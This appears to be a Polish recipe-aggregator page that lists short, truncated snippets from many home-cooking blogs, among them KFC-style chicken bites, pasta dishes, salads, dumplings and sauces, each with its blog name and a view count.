się czym tylko chcesz - w dniu dzisiejszym aromatycznym, lekko chrupiącym mięsem. Poniższy przepis to lekko zmodyfikowana wersja przepisu Eryka z bloga erVegan - ja zrezygnowałem z dodatku soli (moim zdaniem sos sojowy jest wystarczająco słony) i użyłem świeżych warzyw. Artykuł Wegańskie mięso mielone – jak oszukać mięsożerców za pomocą tofu pochodzi z serwisu Vegan Taste

Vegan Taste
Domowe Bites jak z KFC 518

należy dociskać do kurczaka. Bites'y smażymy na średnim ogniu, w głębokim oleju na złoty kolor (przez ok. 3-4 minuty z każdej strony). Podajemy z frytkami i dowolnymi sosami np. czosnkowym, chili. Moje posty

Słodka Strona
Balsamiczny kurczak ze szparagami 210

mieszając.  Na patelnię wlać kurczaka wraz z marynatą i smażyć prze kolejne 10-15 minut, lub do czasu aż warzywa będą miękkie, a mięso nie będzie surowe. Jeżeli sos zrobi się zbyt gęsty, dolać niewielką ilość wody. Doprawić solą i pieprzem, oprószyć ziarnami sezamu. Podawać z ryżem.  Smacznego

Codzienne Gotowanie
Kurczak w sosie z sera pleśniowego oraz słodkiej śmietanki! 214

Dziś bardzo smaczny pomysł na obiad. Jest to filet z kurczaka w sosie zrobionym na bazie śmietanki 30% oraz sera pleśniowego, do tego kukurydza,papryka, szczypiorek, pomidorki koktajlowe,a to wszystko podane na makaronie tagliatelle. Smak jest genialny ! Koniecznie musicie spróbować! Składniki: 500 g fileta z piersi kurczaka połowa papryki czerwonej puszka kukurydzy BONDUELLE makaron tagliatelle 2 łyżki szczypiorku

Gotuj z Mąką
Nowe smaki lodów Haggen Dazs i warsztaty z Ewą Wachowicz 224

pokazie, każdy z uczestników mógł przygotować własną wersję lodowego deseru. Do dyspozycji uczestników, poza lodami oczywiści, była cała masa dodatków, jak świeże owoce, bakalie, różne ciasteczka i sosy. Na zewnątrz, w ogrodzie należącym do Villi Foksal, urządzono strefę relaksu i zabawy. Można było odpocząć w cieniu drze, na specjalnie przygotowanych na tę okazję leżakach, zjeść lody i cieszyć się pięknem

kolorowotorcikowo
Pierś z Kurczaka w Tymiankowo - Cytrynowej Glazurze 243

sekretem jest świeży tymianek, jeśli zastąpisz go suszonym to już nie będzie to samo (sprawdzałam). Pierś podałam z pieczonymi warzywami, Młody ziemniaki, a ja swoje ulubione marchewki ;) Do tego sos jogurtowy z czosnkiem i sałatka ze wszystkiego co mi wpadło pod ręce, czyli tym razem była to sałata lodowa, cebula szalotka, pomidor, ogórek i kawałek sera feta. Składniki

Blondynka Gotuje
SOS BOLOŃSKI Z PIECZARKAMI 210

WYKONANIE: ŁATWE PRZYBLIŻONY CZAS PRZYGOTOWANIA: 40 MINUT ORIENTACYJNA CENA POTRAWY: 13 ZŁ. ILOŚĆ PORCJI: 5-6 Składniki: 40 dag mięsa mielonego, 35 dag pieczarek, mała cebula

JejKuchnia
Młoda kapusta zasmażana 217

masła, wsypać mąkę i energicznie mieszać, aby mąka się równo rozprowadziła i aby nie powstały grudki. Dolać nieco wody z gotującej się kapusty, smażyć i mieszać, aby powstał gęsty sos, jeżeli jest zbyt gęsty dolać nieco więcej wody. Zasmażkę wlać do gotującej się kapusty, dokładnie wymieszać i gotować jeszcze przez chwilę.  Zasmażaną młodą kapustę doprawić do smaku solą

Codzienne Gotowanie
Ryż z mięsem, serem i pieczarkami 194

Jeśli lubicie gołąbki, to z pewnością posmakuje Wam ten ryż. Smakiem przypomina właśnie farsz na gołąbki. Do takiego risotto wystarczy sałatka, ewentualnie jakiś sos np. pieczarkowy lub pomidorowy i obiad gotowy :) Składniki: 500 g mięsa mielonego (łopatka lub szynka) 1 szklanka suchego ryżu 1 duża cebula 6-7 pieczarek garść tartego żółtego sera sól, pieprz majeranek Sposób wykonania: 1. Ryż

Kuchnia domowa Ani
Tortille zapiekane po meksykańsku 283

dodajemy sól, pieprz, pieprz, słodką paprykę i starty ser. 1/2 Wylewamy na dno naczynia żaroodpornego. Na każdą tortillę wykładamy farsz, zwijamy je i układamy do naczynia żaroodpornego. Zalewamy pozostałym sosem. Zapiekamy przez około 40 minut w temperaturze 190 stopni

Szefowa kuchni
Zapiekanka z młodej kapusty i mięsa mielonego 316

liści młodej kapusty. Po upieczeniu są mięciutkie, rozpływają się w ustach, a z mięsem tworzą smaczny i sycący obiad dla całej rodziny. Warto podać z młodymi ziemniaczkami i sosem pomidorowym. 1 duża główka młodej kapusty 1 1/2 kg mięsa mielonego z łopatki 2 jajka 1 duża cebula 1 czerstwa bułka kajzerka mleko do namoczenia bułki 4 ząbki czosnku 1 szklanka

https:KKuchniaMniam
Olej konopny - właściwości i działanie 226

diecie bez mięsa i nabiału jest mało. Może być dodatkiem do sałatek, makaronów, kasz czy nawet samego chleba. Olejem konopnym z powodzeniem można zastąpić masło. Jest smacznym składnikiem słynnego sosu pesto. Specyficznego smaku doda zupom, ale dopiero na sam koniec gotowania.  Olej konopny ma wiele dobrych i korzystnych właściwości dla organizmu. Dlatego warto zacząć go stosować i szybko odczuć

My Chcemy Jeść
Jedzonko do pracy #56 566

śniadanie zrobiłam sałatkę z tego co miałam w lodówce.  Śniadanie : Sałatka z fasolki z pomidorami, jajkiem, rzodkiewką, ogórkiem konserwowym, kaparami i odrobiną marynowanej papryczki chilli (opcjonalnie majonez z sosem sriracha). Lunch : Makaron pełnoziarnisty z bekonem, szparagami i pomidorkami. Smacznego

Codzienne Gotowanie
TRUSKAWKI I MOJE POMYSŁY NA ICH WYKORZYSTANIE 143

masą budyniową http://jaworskaanna7.blogspot.com/2015/05/ciasto-z-truskawkami-i-masa-budyniowa.html 7. Truskawkowy torcik z delikatnym kremem http://jaworskaanna7.blogspot.com/2015/05/torcik-truskawkowy-z-delikatnym-kremem.html 8. Ciasto kruche z owocami i budyniem http://jaworskaanna7.blogspot.com/2015/03/ciasto-kruche-z-rabarbarem-i-budyniem.html 9. Placuszki serowe z sosem truskawkowym http://jaworskaanna7.blogspot.com/2016/06/placuszki-serowe-z-sosem-truskawkowym.html 10.Knedle serowe z truskawkami http://jaworskaanna7.blogspot.com/2015/06/knedle-serowe-z-truskawkami.html

Niespełnione zdolności kulinarne
Najlepsze Domowe Hot Wings jak z KFC 565

charakterystyczne "łuski". Hot Wingsy smażymy w głębokim oleju, na średnim ogniu, na złoty kolor (przez ok. 5-7 minut z każdej ze stron). Podajemy z frytkami i dowolnymi sosami, np. czosnkowy i barbecue.       Moje posty

Słodka Strona
Szybki obiad. Kurczak z warzywami i grzybami w sosie pomidorowym. 317

Dziś zapraszam Was na kolejny szybki pomysł na obiad. Kurczaka z warzywami i grzybami w sosie pomidorowym. Pysznie, prosto i szybko. Takie „jednogarnkowe” danie (w tym wypadku jednopatelniowe ) możecie podać samo lub z ulubionym pieczywem. Do przygotowania obiadu wykorzystałam produkty od Sklep Zdrowia UWAGA ! Podając hasło: OKRUSZKI10 wszyscy moi czytelnicy otrzymają rabat 10% na cały asortyment w sklepie

Słodkie okruszki
CZOSNKOWA WĘDLINA Z INDYKA 260

ząbki czosnku 🍴1 łyżeczka czosnku granulowanego 🍴1 łyżeczka czosnku niedźwiedziego 🍴Sól i pieprz do smaku 🍴1 łyżka majeranku 🍴1 łyżeczka koperku suszonego 🍴1 łyżka oleju rzepakowego 🍴1 łyżka sosu sojowego ciemnego 🍴Siatka do wędlin PRZYGOTOWANIE:  Filet z indyka myję. Rozkrajam wzdłuż ale nie do końca. Lekko rozbijam. Składniki marynaty dokładnie łącze i nacieram mięso. Zawijam i przekładam

Gotowanie Patki
PIZZA NA KRUCHYM CIEŚCIE Z MIELONYM INDYKIEM 233

olej. Dodaję mięso i przyprawy. Smażę na rumiano. Posypuję ciasto. Cebulę obieram i kroję w plastry. Posypuję pizze. Piekę pizzę w 200 stopniach ok 30 min. Podaję z ulubionym sosem

Gotowanie Patki
Nachos 156

układamy partiami nasze nachos. Po chwili przewracamy je na drugą stronę, tak jak przy poprzednim sposobie, są one gotowe kiedy nabiorą brązowego koloru i chrupkości. Najlepiej smakują z sosem lub dipem, np. guacamole. Smacznego:) Artykuł Nachos pochodzi z serwisu PatiGotuje

PatiGotuje
Placki ziemniaczane 166

rozpłaszczając ją i formując placek. Smażymy partiami po kilka placków jednocześnie przez jakieś 2-3 minuty na złoty kolor z każdej strony. Podajemy je solo, ze śmietaną, czy z sosem warzywnym lub mięsnym. Smacznego:) Artykuł Placki ziemniaczane pochodzi z serwisu PatiGotuje

PatiGotuje
Makaron na ostro 135

dodajemy przecier pomidorowy, wodę, wszystkie przyprawy i posiekaną bazylię. Podgrzewamy mieszając przez około 10 min. W międzyczasie gotujemy makaron, aby był al dente. Ugotowany i odcedzony makaron łączymy z sosem pomidorowym. Podajemy posypane ulubionym tartym serem. Smacznego:) Artykuł Makaron na ostro pochodzi z serwisu PatiGotuje

PatiGotuje
Chrzan 156

Podajemy jako dodatek do jajek lub wędliny. Taki chrzan możemy przechowywać w lodówce przez około miesiąc, dzięki temu że śmietanę dodajemy dopiero przed podaniem. Jest on również doskonały do sosów lub do zupy. *Jeśli ktoś z Was nie lubi bardzo ostrego chrzanu musi użyć więcej wrzątku. Im bardziej go sparzycie tym on będzie słabszy. Artykuł Chrzan pochodzi z serwisu PatiGotuje

PatiGotuje
Spaghetti z suszonymi pomidorami, szynką parmeńską i oliwkami 177

Potrzebujecie pomysłu na szybki obiad? To danie przygotujecie w ekspresowym tempie. Zajmuje to 20 minut i to tylko dlatego że musimy ugotować makaron. Sam sos przygotujecie w jakieś 5-6 minut. Spaghetti z suszonymi pomidorami, szynką parmeńską i oliwkami to bardzo sycące danie. Spróbujcie koniecznie. Ja uwielbiam tą propozycję Spaghetti z suszonymi pomidorami, szynką parmeńską i oliwkami 2 duże porcje

PatiGotuje
Dufinki 219

spiralki-rozetki. Najlepiej wyciskać jeszcze ciepłą masę. Pieczemy w 180°C przez około 20-30 minut, aż rozetki ładnie się zezłocą. Jak dla mnie są idealnym dodatkiem do mięsnych sosów. Smacznego Artykuł Dufinki pochodzi z serwisu PatiGotuje

PatiGotuje
Makaron ze szpinakiem i szynką parmeńską 178

szynkę. Chwile podsmażamy i dorzucamy szpinak. Smażymy przez jakieś 4 minuty aż szpinak zmniejszy swoją objętość. Następnie dodajemy śmietanę i doprawiamy do smaku solą i pieprzem. Do tak przygotowanego sosu dodajemy makaron i parmezan. Wszystko dokładnie mieszamy. Podajemy od razu po przygotowaniu. Smacznego Artykuł Makaron ze szpinakiem i szynką parmeńską pochodzi z serwisu PatiGotuje

PatiGotuje
Kluski śląskie 204

wodę partiami. Po tym jak wypłyną na powierzchnię gotujemy je 3 minuty, wyciągamy łyżką cedzakową i wrzucamy następną partię. Podajemy gorące, bezpośrednio po ugotowaniu. Najlepiej smakują z dodatkiem masła, sosu mięsnego lub grzybowego. Smacznego Artykuł Kluski śląskie pochodzi z serwisu PatiGotuje

PatiGotuje
Smażone kopytka z bryndzą 229

frytkownicy. No i powiem Wam efekt mnie zaskoczył!!! Były przepyszne! Na pewno jeszcze nie raz je przygotuję. Są ciekawym zamiennikiem ziemniaków, czy zwykłych klusek śląskich. Wprost idealne do sosu mięsnego. Smażone kopytka z bryndzą Składniki: 250 g bryndzy 3-4 ugotowane ziemniaki (mniej więcej tyle samo co bryndzy) łyżka mąki ziemniaczanej 2-3 łyżki mąki tortowej jajko sól Ziemniaki przeciskamy

PatiGotuje
Krem pieczarkowy z czosnkowymi grzankami 163

drugie, kilka tygodni temu kupiłam kostkę do domowej uprawy pieczarek. Kostka jest tak plenna, że brakuje mi już pomysłów co zrobić z grzybami. Z części plonów zrobiłam już kilka sosów pieczarkowych, faszerowane pieczarki, pizzę, zapiekankę XD Nadal jednak pojawiają się nowe grzyby, więc tym razem (aby wykorzystać większą ilość) przygotowałam zupę, a resztę pieczarek cieniutko pokroiłam i postanowiłam ususzyć. Krem

PatiGotuje
Gołąbki tradycyjne z mięsem i ryżem 159

przykryły gołąbki w 3/4 wysokości. Garnek przykrywamy i dusimy na średnim ogniu około godzinę, aż kapusta będzie miękka, w razie potrzeby dolewając wody/bulionu. Gołąbki najlepiej podawać z sosem pomidorowym lub pieczarkowym. Smacznego Artykuł Gołąbki tradycyjne z mięsem i ryżem pochodzi z serwisu PatiGotuje

PatiGotuje
Leniwe 185

każdy z Was zajadał się nimi u swojej babci. Najczęściej podawane są, podobnie jak kopytka , z podprażoną bułką tartą i cukrem. Ja uwielbiam je także jako dodatek do mięsnego sosu. Leniwe Składniki: 500 g tłustego białego sera (twarogu) około 150 – 250 g mąki pszennej (w zależności od wilgotności sera) 2 łyżki mąki ziemniaczanej 2 jajka sól Ser rozdrabniamy

PatiGotuje
Makaron z wędzonym łososiem, rukolą i suszonymi pomidorami 217

makaronów jest to propozycja na pyszny, prosty i bardzo szybki obiad. Jeśli chodzi o użyty makaron jest to bavette. Swym kształtem przypomina grube, spłaszczone spaghetti. Idealnie łączy się z sosami, czy z pesto. Sprawdza się również idealnie w potrawach z owocami morza, czy rybami. Makaron z wędzonym łososiem, rukolą i suszonymi pomidorami 2 duże porcje Składniki: około 250 g makaronu

PatiGotuje
Kuleczki ziemniaczane 468

tartej, tak jak to jest w większości przepisów, a do ich wykonania użyłam zwykłej tortowej mąki. Po upieczeniu są chrupiące, idealne zarówno do klasycznego schabowego, jak i wszelkiego rodzaju sosów. Kuleczki ziemniaczane Składniki: 400 g ziemniaków (waga po obraniu) 1 łyżka masła 1 łyżka mleka około 120 g mąki pszennej sól Dodatkowo: mąka pszenna do obtoczenia kuleczek Ziemniaki gotujemy

PatiGotuje
Sałatka Kijowska 326

łączymy ze śmietaną i doprawiamy go pieprzem i solą. Kiedy mamy przygotowane wszystkie składniki możemy zacząć układać je warstwowo: starte białka (można je trochę posolić) tarty ser rozdrobniony tuńczyk sos majonezowo-śmietankowy starte masło starte żółtka Górę można oprószyć świeżo mielonym pieprzem. Smacznego Artykuł Sałatka Kijowska pochodzi z serwisu PatiGotuje

PatiGotuje
Gołąbki bez zawijania 207

przykryły gołąbki w 3/4 wysokości. Garnek przykrywamy i dusimy na średnim ogniu około godzinę, aż kapusta będzie miękka, w razie potrzeby dolewając wody/bulionu. Gołąbki najlepiej podawać z sosem pomidorowym lub pieczarkowym. Smacznego Artykuł Gołąbki bez zawijania pochodzi z serwisu PatiGotuje

PatiGotuje
Omlet ze szparagami na bogato 214

oregano. Wstawiamy do piekarnika nagrzanego na 190 stopni i pieczemy 30-40 minut. Dekorujemy listkami świeżej bazylii. Omlet ze szparagami na bogato podajemy na gorąco z sałatą z lekkim sosem. Polecam także inne przepisy na szparagi: Szparagi zapiekane z serem Smażone szparagi z szalotkami, imbirem i orzeszkami ziemnymi Frittata ze szparagami, rukolą i suszonymi pomidorami

My Chcemy Jeść
Zupa ze szpinakiem i wędzonym łososiem 225

pietruszka pęczek szpinaku 1000 g bulionu warzywnego lub drobiowego 10 g masła klarowanego sól, pieprz szczypta kurkumy 1/2 łyżeczki gałki muszkatołowej 1 miarka śmietany 18% do zup i sosów (miarka dołączona do TM) dodatkowo: koperek wędzony łosoś Thermomix przepisy. Zupa ze szpinakiem i wędzonym łososiem. Wykonanie: Cebulę obieramy i kroimy na 4 części. Czosnek, marchewkę i pietruszkę również obieramy, kroimy

Themo przepisy
MAŚLANA BUŁKA Z KURCZAKIEM 178

Bułka 4 okrągłe bułki maślane 12 plastrów ogórka zielonego Musztarda do posmarowania np. Miodowa 4 liście sałaty Masło do posmarowania Mięso 1 filet z kurczaka podwójny 2 łyżki sosu sojowego 1 łyżeczka czosnku mielonego 1 łyżeczka papryki czerwonej słodkiej 1 łyżeczka suszonej bazyli Sól i pieprz do smaku 1 ząbek czosnku przeciśnięty przez praskę PRZYGOTOWANIE:  Na samym początku przygotowuję

Gotowanie Patki
Puszyste bułeczki pizzowe z szynką i boczkiem 877

następnie spłaszczyć ją, aby miała grubość ok. 1 cm. Ułożyć na blasze do pieczenia wyłożonej papierem, zachowując odstępy, bo bułeczki jeszcze wyrosną.  Każdą bułeczkę posmarować oliwą z oliwek, sosem pomidorowym, posypać sporą ilością żółtego sera, dodać kawałki boczku lub szynki. Posypać bułeczki oregano.   Wstawić do piekarnika nagrzanego do 180 stopni na 15-20 minut, aż ser się

Kulinarne Inspiracje
Przepiórki duszone w cydrze gruszkowym, podane z czerwoną quinoą i młodym szpinakiem 203

cydrem, dodajemy rozmaryn i dusimy na małym ogniu pod przykryciem około 40 minut. Jeśli w międzyczasie cydr za bardzo się zredukuje możemy go dolać więcej, lub użyć odrobiny wody. Sos powinien się na tyle zredukować, żeby nie spływał swobodnie z przepiórek tylko lekko je zglazurował.  Gdy mięso jest już miękkie, podajemy je na gorącej komosie ryżowej i ze szpinakiem

Quinoa Raz!
Najłatwiejsze ziołowe kurczaczki na obiad lub do sałatki 247

średnim ogniu, tak długo aż nasz kurczak będzie miękki i soczysty. Pod koniec dodajemy ostrożnie (zmniejszamy płomień) wodę, mieszamy i podsmażamy jeszcze chwilę, aby został nam a la sos (niewielka ilość) lub przykrywamy patelnię pokrywką i smażymy przez 1-2 minuty (nie dłużej, aby kurczak nie był zbyt suchy), wówczas nasz kurczak będzie bardziej chrupiący (idealny do sałatki, taki

Słodkie okruszki
Makaron z łososiem i szpinakiem 160

inny) sól świeżo zmielony pieprz parmezan Makaron gotujemy al dente w osolonej wodzie. Odcedzamy zostawiając kila łyżek wody. Do makaronu dodajemy serek i mieszamy. Powstanie coś na zasadzie sosu. Na patelni rozpuszczamy masło. Dusimy opłukany i posiekany grubo szpinak ( od liści szpinaku odrywam łodyżki, by zostały same listki). Gdy szpinak zmięknie dodaję pokrojonego w grubą kostkę łososia. Chwilę mieszamy, dodajemy

MojaQchnia.pl
Leczo z kiełbasą 181

ząbki czosnku 2-3 kawałki kiełbasy myśliwskiej 3 cebule 3-4 pomidory 90 g przecieru pomidorowego puszka pomidorów z puszki sól, pieprz słodka i ostra papryka kilka kropel sosu sojowego Przygotowanie Umyte warzywa pokroić w paski (wcześniej usunąć z papryk i pomidorów pestki). W większym garnku podsmażyć na łyżce oleju jedna cebulę dodać pokrojone warzywa i smażyć kilka minut

Gaździnka warzy
Mięsiwo w sosie z kluskami lanymi 163

wsypujemy ryż i dusimy na wolnym ogniu (od czasu do czasu mieszając, by ryż nam się nie przykleił do dna) przez godzinę. Do smaku doprawiamy solą i pieprzem. Do sosu dodajemy makaron i mieszając co kilka chwil, gotujemy do jego miękkości. Podajemy z posiekanym koperkiem. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband

R'n'G Kitchen
Surówka z włoszczyzny w 5 minut. 279

łyżki, ocet 1 łyżeczkę, cukier 1 łyżeczkę, sól szczyptę.  Marchew, seler, pietruszkę ucieramy na tarce, por kroimy. Potem przekładamy pocięte warzywa do miski, posypujemy zieleniną. Zalewamy przygotowanym "sosem" i już :)  Smacznego

chleba naszego
Sałatka z rukoli 329

Składniki: 50 g rukoli 4 jajka 1 pomidor 1/2 kolorowej papryki ser żółty sos: 2 ząbki czosnku 2 łyżki oliwy 1/2 łyżeczki musztardy sól, pieprz Przygotowanie: Czosnek przecisnąć przez praskę, … Czytaj dalej Sałatka z rukoli

czarrna od kuchni
Golonka w bigosie z młodej kapusty 198

Gotować na małym ogniu godzinę, mięso musi być prawie miękkie. Jeśli nie będzie to trzeba przedłużyć gotowanie. Podczas gotowania trzeba uważać na wodę. Jak się wygotuje dolać trochę wody. Sosu musi być około połowy wysokości mięsa. Ja gotowałam w garnku elektrycznym. Nastawiony na wolne gotowanie i 2 godziny. Wtedy nie trzeba dolewać wody. Przygotowanie bigosu – na patelni z odrobiną

Kuchnia Pokoleń
Panna Cotta 141

największą zaletą jest prostota: banalnie się go robi, nie wymaga całej masy składników i smakuje chyba każdemu. Jest idealną bazą, do której świetnie sprawdzi się galaretka, owoce czy owocowe sosy. Dzisiaj proponuję odrobinę lżejszą wersję z domieszką mleka, dzięki czemu jest mniej tłusta. I choć przepis odbiega od oryginału to według mnie smakiem mu nie ustępuje… jest niezmienne obłędny

Fitsweet.me
Wegeburgery 147

duża (ok. 120 g) cebula czerwona 0,5 szklanki (60 g) bułki tartej 0,25 szklanki (50 g) oleju rzepakowego 4 łyżki (ok. 40 g) mąki 2 łyżki sosu sojowego pęczek natki pietruszki 0,5 średniej papryczki chilli 1 łyżeczka imbiru sól pieprz Dodatkowo: 8 bułek kilka garści rukoli duży pomidor ogórek czerwona cebula musztarda Dijon ketchup Przygotowanie: 1) Ziarna

Fitsweet.me
Frytki z batatów 162

Frytki wysypać na blachę wyłożoną papierem do pieczenia. 5) Piec w piekarniku nagrzanym do 180 stopni przez 20-30 min. Pod koniec można włączyć termoobieg. 6) Podawać z ulubionym sosem. SONY

Fitsweet.me
Ogórek grilowy 194

Hej! Sezon grillowy w pełni, więc chciałbym Wam polecić przepis na pysznego ogórka. Wspaniale pasuje do przyrządzanych mięs. A poza tym recepta jest szalenie prosta. Potrzebujemy

Tylko pysznie
Bezglutenowa tarta z pieczonego jogurtu na spodzie z batatów 266

odżywczymi poprawiają walory smakowe i pozwalają ograniczyć sól do minimum, a nawet z niej zrezygnować.   Tratę można jeść na zimno i ciepło (my zdecydowanie wolimy na ciepło) z sosem czosnkowym, jogurtowym lub domowym ketchupem.   Czas przygotowania: 65 minut Porcje:  Składniki: 300 ml gęstego jogurtu 150 g mozzarelli 2 garście szpinaku 1 szkl. pokrojonych różyczek brokuła

SzczyptaSmaQ
Schab duszony z warzywami 202

Schabowe inaczej, bez panierki i bez sosu. Przepis został zaczerpnięty z jednego z blogów kulinarnych, jednakże efekt przede wszystkim zdjęciowy jest zupełnie inny. Wstawiłam zdjęcia potrawy takiej jaka w rzeczywistości jest, bez żadnych poprawek kolorystycznych (filtry etc.). Wygląd warzywny może odstraszać, ale smakował wybornie. Przy okazji jedzenia mięsa możemy jeść przecież zdrowo. Składniki na schab duszony z warzywami (3 porcje

Karola gotuje
Pasta z twarogu i tuńczyka 234

stronie co okidoo . Zapraszam do przygotowań! Składniki: 100 g ogórków kiszonych, startych na małych oczkach 1 jajko ugotowane na twardo 100 g półtłustego twarogu 120 g tuńczyka w sosie własnym (waga po odsączeniu) pół łyżeczki soli pół łyżeczki pieprzu mały pęczek szczypiorku, posiekanego CZAS PRZYGOTOWANIA: 10 MIN POZIOM TRUDNOŚCI: ŁATWY Przygotowanie: w misie blendera lub w rozdrabniaczu umieszczamy tuńczyk, jajko

My Culinary Art
Tortilla z ziemniaków czyli hiszpański przysmak 662

się z drugiej strony jeszcze około 5 minut. Gotowe! Tak przyrządzona tortilla de patatas może być podawana jako dodatek do obiadu lub samodzielnie jako danie. Ja najbardziej lubię z sosem czosnkowym lub chrzanowo – pomidorowym

Mama z miasta
KOTLETY ZIEMNIACZANE ZE SZCZYPIORKIEM 193

Często robię takie kotlety gdy zostaną ziemniaki z obiadu. Pyszne są z sosem pieczarkowym lub surówką.Takie kotleciki ziemniaczane są bardzo pożywne i łatwe do wykonania. SKŁADNIKI ok.700-800g ugotowanych ziemniaków cebula jajko 3-4 łyżki mąki pszennej sól,pieprz gałka muszkatołowa szczypiorek bułka tarta olej lub masło klarowane do smażenia WYKONANIE Ziemniaki przepuszczamy przez praskę.Cebulę kroimy w drobną kostkę

Mała w garnku miesza
Pasta kanapkowa z sera feta 255

Wymieszajcie całośc łyżką i ewentualnie doprawcie do smaku solą oraz pieprzem. Przechowujcie w lodówce. Świetnie sprawdzi sie na grilla z pieczywem. Smakuje tez dobrze z mięsem jako bardzo gęsty sos. Smacznego

Szybko Tanio Smacznie
Sałatka na gorąco ze szparagami i grillowanymi warzywami 149

szparagów dodaję soku z cytryny, która wydobywa ich pełny smak.  Sałatki ze szparagów i grillowanych warzyw możecie użyć jako dodatek do dania głównego lub podać je z ulubionym sosem (proponuję beszamelowy lub cytrynowy z dodatkiem rozmarynu).  Oczywiście, jeśli tylko macie ochotę możecie przygotować szparagi według moich innych przepisów-zapraszam na  Szparagi z masłem cytrynowym i parmezanem

kulinarnyJa
Kapusta, marchewka, seler naciowy i papryka z woka 140

razem wok w 100% warzywny. Wszystkie warzywa są jeszcze lekko twarde i chrupiące, ale dobrze podgrzane i połączone aromatyczną mieszanką sosów. Kapusta i seler naciowy pojawiały się już w woku w moich przepisach, ale zazwyczaj towarzyszyły makaronom lub mięsu. Tym razem w duecie stanowią bazę całej potrawy

Milion Smaków
Sałatka wiosenna do obiadu 236

pudru 1 czubata łyżeczka musztardy francuskiej 3 łyżki oleju 1 łyżeczka octu spirytusowego sól ipieprz do smaku Wykonanie: Warzywa umyć i pokroić... ( sałatę porwać). W słoiku wymieszać wszystkie składniki sosu polać nim sałatkę przed samym podaniem, wymieszać i serwować. Smacznego

Gosia gotuje
RISOTTO z warzywami 308

dwie małe) pół bakłażana pół ogórka 1 pomidor 3 łyżki kukurydzy konserwowej 1 cebula 2 ząbki czosnku przyprawy i zioła: sól, pieprz, tymianek, kmin rzymski, koper włoski, kurkuma, lubczyk sos sojowy oliwa lub olej Sposób przygotowania: Ryż gotujemy – dodajemy do niego przyprawy i zalewamy wodą. Następnie gotujemy do wchłonięcia wody i przykrywamy. Pokrojoną cebulę podsmażamy z posiekanym czosnkiem

Via Gusto
Najlepsze Domowe Stripsy jak z KFC 479

należy dociskać do kurczaka. Stripsy smażymy na średnim ogniu, w głębokim oleju na złoty kolor (przez ok. 4-5 minut z każdej ze stron). Podajemy z frytkami i dowolnymi sosami np. czosnkowym oraz barbecue.   Moje posty

Słodka Strona
Ziemniaki Hasselback 435

czasie polewamy pozostałym tłuszczem, posypujemy odrobiną soli, bułki tartej i parmezanu (w tej kolejności). Zapiekamy jeszcze przez 15 minut. Podajemy jako dodatek do obiadu lub samodzielnie w towarzystwie ulubionych sosów

Kuchnia w czekoladzie
SAŁATKA DO OBIADU Z OGÓRKAMI I KWIATAMI! 184

pasuje do większości propozycji obiadowych.  Podstawą sałatki są dobrej jakości ogórki, małe żółte pomidory i dressing. Dressing, który kompletnie odmienia dobrze Nam znany smak połączenia ogórka i pomidora. Sos w tej sałatce, bardzo ją odświeża i nadaje aromatu. Polecam Wam koniecznie! SKŁADNIKI DRESSING: 5-6 łyżek oliwy z oliwek około 20 listków mięty około 20 listków melisy około

SMYKWKUCHNI
PRZEPISY Z TRUSKAWKAMI! ŚNIADANIE/ OBIAD / KOLACJA! 471

RABARBARU Z MORELĄ I TRUSKAWKĄ! WANILIOWO - KARDAMONOWA ZUPA Z TRUSKAWEK I CZEREŚNI! NATURALNIE - ZDROWY GRYCZANY TORT NALEŚNIKOWY Z OBŁĘDNYM KREMEM KOKOSOWO - TRUSKAWKOWYM! MAKARON SOBA ZE SZPARAGAMI I TRUSKAWKAMI W SOSIE NA BAZIE CYDRU PIEROGI Z TRUSKAWKAMI! NAJLEPSZE NA DZIEŃ DZIECKA! DROŻDŻÓWKI Z TRUSKAWKAMI I KRUSZONKĄ! NAJLEPSZE! PIEROGI Z TRUSKAWKAMI! TRUSKAWKOWE CIASTO Z KOKOSEM! SERNIK NA ZIMNO! CZEKOLADOWA OWSIANKA

SMYKWKUCHNI
Pancakes na maślance 253

łyżki klarowanego masła* W oddzielnej misce wymieszać mąkę z sodą, przesypać do mlecznej mieszanki i dokładnie połączyć rózgą. Na rozgrzanej patelni wylewać porcję ciasta (ja wylewam pełną łyżkę do sosów) i smażyć (na średnim ogniu) do momentu, aż pojawią się bąbelki powietrza- wtedy przełożyć na drugą stronę. Smacznego! 😋 * jeżeli nie jesteście w posiadaniu patelni na której można smażyć bez tłuszczu

Kraina Miodem Płynąca
Szinka po bajerowsku (Szynka po bawarsku) 181

buzi 10 który 11 kiełbas 12 brązowego 13 wcześniej 14 wrzućcie 15 opłuczcie 16 całą 17 dajcie 18 gotuje 19 zostawcie 20 piekarnika 21 przypiekło 22 gdyby 23 sos 24 rzadka 25 kukurydzianej 26 będzie 27 plastry 28 kluski 29 makaron 30 ugotowane ziemniaki 31 bułka Artykuł Szinka po bajerowsku (Szynka po bawarsku) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Łosoś z salsą i makaronem z pesto 185

łososiem. Obiad który zrobimy szybko. A pesto ze szpinaku jest bardzo dobre i proste w przygotowaniu.  2 kawałki łososia 1 cebula sól, pieprz 1 łyżeczka majeranku 1 łyżeczka sosu balsamico pesto: 100 g szpinaku 2 ząbki czosnku 1/3 szklanki oliwy z oliwek olej do smażenia sól, pieprz 2 łyżki startego parmezanu lub innego sera 2 łyżki pestek z dyni

wesoła kuchnia
Kluski kładzione 215

elastyczne i dobrze napowietrzone ciasto. Przygotowane ciasto przełożyć na płaski talerz obiadowy i maczaną w wodzie   łyżką zrzucać na wrzątek kluseczki. Chwilę gotować. Kluseczki można podawać z mięsnymi sosami, okraszone podsmażonym boczkiem a nawet z owocami

W garach u Gosi
szybkowar-cielęcina duszona na obiad... 216

ciśnienie mięso wyjąć na talerz, do wywaru dodać śmietanę, wsypać mąkę i blenderem zmiksować, zagotować zdjąć z ognia i wsypać czosnek niedźwiedzi podawać porcję mięsa z tłuczonymi ziemniakami z sosem i np. zieloną sałatą ze śmietaną cielęcina jest krucha, soczysta i smakuje wybornie na obiad, można również podać cielęcinę na zimno do pieczywa - SMACZNEGO

W Mojej Kuchni Lubię
Knedle ziemniaczane z truskawkami 154

powierzchnię, na średnim ogniu. Odcedzić, przelać zimną wodą. Masło rozpuścić, dodać bułkę tartą. Smażyć 30 sekund. Niewykorzystane truskawki zblendować, dodać łyżeczkę cukru oraz kwaśną smietanę. Kluski podawać z sosem śmietanowo-truskawkowym, masłem i bułką tartą, dodatkowo delikatnie posypane makiem. Knedle ziemniaczane z truskawkami Smacznego! Knedle ziemniaczane z truskawkami Najlepiej jest użyć średniej wielkości truskawek. Ja miałam duże więc do każdego

mecooks
